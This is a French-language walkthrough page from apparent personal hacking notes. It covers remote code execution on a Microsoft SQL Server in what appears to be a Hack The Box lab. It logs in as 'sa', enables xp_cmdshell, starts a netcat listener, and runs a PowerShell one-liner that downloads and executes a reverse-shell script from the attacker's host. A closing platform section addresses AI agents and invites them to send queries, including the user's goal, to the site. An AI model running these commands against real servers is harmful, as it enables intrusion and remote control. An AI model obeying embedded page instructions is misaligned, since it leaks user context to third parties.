> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/ports-and-services/mssql-1433/mssql-exploitation-rce.md).
# Exploitation RCE MSSQL
## Exploitation MSSQL (Microsoft SQL)
**Port 1433 (MSSQL)**
Le port 1433 est ouvert, ce qui indique qu'un serveur Microsoft SQL est à l'écoute. Testez l'accès avec les utilisateurs récupérés lors de l'énumération.
**Test de connexion MSSQL**
Utilisez `mssqlclient.py` pour essayer de se connecter :
```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```
**Résultat**: Seul le `sa` fonctionne.
```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```
### Reverse shell via MSSQL
**Activer l'exécution des commandes**
Pour exécuter des commandes système, activez `xp_cmdshell`:
```sql
enable_xp_cmdshell
```
Puis testez avec une commande simple, telle que `ipconfig`:
```sql
xp_cmdshell ipconfig
```
**Préparation de l'écoute sur notre machine**
Démarrez un écouteur sur le port 4444 :
```bash
rlwrap nc -nvlp 4444
```
**Téléchargement d'un script PowerShell**
Préparez un script PowerShell nommé `PS.ps1` qui inclut une fonction de reverse shell :
{% embed url="" %}
À la fin du script, ajoutez la ligne suivante :
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```
Hébergez ce script sur un serveur web local :
```bash
python3 -m http.server 80
```
**Exécution du reverse shell**
Depuis le serveur MSSQL, exécutez la commande suivante pour télécharger et exécuter le script PowerShell :
```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/fr/ports-and-services/mssql-1433/mssql-exploitation-rce.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.